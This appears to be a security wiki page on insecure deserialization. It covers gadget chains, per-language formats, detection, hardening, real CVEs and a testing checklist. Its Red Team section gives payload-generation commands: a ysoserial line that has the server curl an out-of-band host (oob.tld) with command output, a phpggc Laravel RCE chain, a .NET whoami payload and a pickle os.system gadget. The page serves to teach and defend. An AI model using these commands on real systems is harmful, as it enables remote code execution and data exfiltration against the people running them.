Insecure deserialization
Serializing turns an object into bytes; deserializing rebuilds it. If the app deserializes attacker-controlled data, the attacker can manipulate the reconstruction flow to instantiate objects and trigger methods that, chained together (gadget chains), end in remote code execution. It’s one of the most powerful and hardest-to-spot RCE paths.
flowchart LR
A[Attacker] -->|"malicious serialized object"| APP["App (deserializes without validation)"]
APP -->|"reconstructs the object"| G["Gadget chain<br/>(classpath classes)"]
G -->|"execution"| RCE[RCE]
Threat model
Section titled “Threat model”RCE on the server (typical with a good chain), DoS, and in some cases authentication
bypass or logic tampering (changing attributes of a trusted object, e.g.
isAdmin=true).
Anatomy
Section titled “Anatomy”On deserialization, the runtime recreates objects and runs “magic” methods during
the process: PHP __wakeup/__destruct, Java readObject, Python pickle.__reduce__,
.NET (de)serialization callbacks. A gadget is a class already on the classpath
whose method, when run in the chain, does something useful (reflection, command
execution). The chain links gadgets from the entry point to execution. The app
needn’t use the class: it just has to be available.
Formats per language
Section titled “Formats per language”- Java (
ObjectInputStream) · PHP (unserialize) · .NET (BinaryFormatter,ViewState, Json.NET withTypeNameHandling) · Python (pickle,yaml.load) · Ruby (Marshal) · Node (various packages).
Red Team
Section titled “Red Team”Discovery (identify serialized blobs)
Section titled “Discovery (identify serialized blobs)”Java : bytes 0xAC 0xED 0x00 0x05 | in Base64 starts with rO0PHP : O:4:"User":2:{...} (object) a:..{..} (array).NET : __VIEWSTATE / long Base64; AAEAAAD///// (BinaryFormatter)Python : pickle (opcodes) ; base64 starting with gASV / gAJRuby : Marshal -> \x04\x08By hand / Tooling
Section titled “By hand / Tooling”# Java: generate a payload with a known gadget chainjava -jar ysoserial.jar CommonsCollections5 'curl http://oob.tld/`id`' | base64
# PHP: generate a chain (framework gadget present)phpggc Laravel/RCE1 system id -b # -b = base64
# .NETysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# Python pickle (__reduce__ concept)# class E: def __reduce__(self): return (os.system, ('id',))# pickle.dumps(E()) -> send to the endpoint that does pickle.loadsConfirm blind with OOB interaction (DNS/HTTP to your collaborator).
Impact and chaining
Section titled “Impact and chaining”Direct RCE (often unauthenticated), secret exfiltration, pivot and persistence. A single endpoint deserializing without control is usually full compromise.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- Deserialization of untrusted-origin data (code review / SCA).
- Magic bytes in traffic (
rO0,AAEAAAD/////,\xAC\xED) toward endpoints. - The app process spawning shells/unusual binaries (EDR).
Telemetry and sources
Section titled “Telemetry and sources”WAF with serialized-blob signatures, app logs, process creation (auditd/Sysmon), egress/DNS.
Hardening
Section titled “Hardening”- Don’t deserialize untrusted data. If unavoidable, use data-only formats (JSON/Protobuf) with parsers that don’t instantiate arbitrary types.
- Sign/encrypt (HMAC) serialized objects that must travel via the client, and verify before deserializing.
- Allow-list permitted classes (look-ahead deserialization; in Java,
ObjectInputFilter). Never a block-list. - In .NET, avoid
BinaryFormatterandTypeNameHandling.All; keep dependencies updated (gadgets live in libraries).
Response
Section titled “Response”Isolate, rotate secrets, hunt for persistence, patch the endpoint and review which gadgets were on the classpath.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Apache Commons Collections (2015) — the gadget chain that made Java deserialization RCE famous; affected WebLogic, JBoss, Jenkins, WebSphere and more.
- Oracle WebLogic — multiple T3/IIOP deserialization RCEs (e.g. CVE-2015-4852 and a long later list), heavily exploited.
- .NET ViewState / BinaryFormatter — recurring RCE when the machineKey leaks or
TypeNameHandlingis misconfigured.
Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Serialized blobs identified by magic bytes/format.
- Chain generation tested with the language’s tool (ysoserial/phpggc…).
- RCE confirmed (in-band or OOB) with a harmless command.
- Cookies/ViewState/hidden fields carrying serialized data reviewed.
- Impact documented without harming real data.